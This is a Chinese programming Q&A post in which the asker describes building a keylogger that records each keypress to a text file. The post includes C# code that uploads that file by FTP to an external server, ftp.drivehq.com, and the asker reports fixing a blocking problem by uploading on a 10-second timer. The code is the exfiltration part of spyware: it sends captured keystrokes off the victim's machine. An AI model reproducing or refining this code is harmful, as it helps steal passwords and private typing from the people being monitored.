控制台应用程序- FTP上传停止执行
本文关键字:执行 应用程序 FTP 控制台 | 更新日期: 2023-09-27 17:53:43
我目前正在研究一个键盘记录器,它将用户输入保存为文本文档。每次用户按下一个按钮,文档都会更新。
我希望FTP不断更新服务器上的文本文档。问题是,每次上传文本文档时,它都会停止,直到上传完成,然后继续记录。
我想知道怎样才能防止这种情况的发生。我在某个地方读到有一种方法可以通过使用ASYNC函数或类似的东西来做到这一点,但我不知道它在哪里。
我将非常感谢任何帮助。这是我创建的FTP代码。private static void ftp(String name)
{
FtpWebRequest request = (FtpWebRequest)FtpWebRequest.Create(
"ftp://ftp.drivehq.com/test.txt");
request.Method = WebRequestMethods.Ftp.UploadFile;
request.Credentials = new NetworkCredential(username, pass);
request.UsePassive = true;
request.UseBinary = true;
request.KeepAlive = false;
FileStream stream = File.OpenRead(name);
byte[] data = new byte[stream.Length];
stream.Read(data, 0, data.Length);
stream.Close();
Stream reqStream = request.GetRequestStream();
reqStream.Write(data, 0, data.Length);
reqStream.Close();
}
我设法找到了解决它的方法。我只是使用计时器,每10秒上传一次。问题不在于FTP中断执行,而是FTP使程序不断上传。
如我所说。计时器修复了它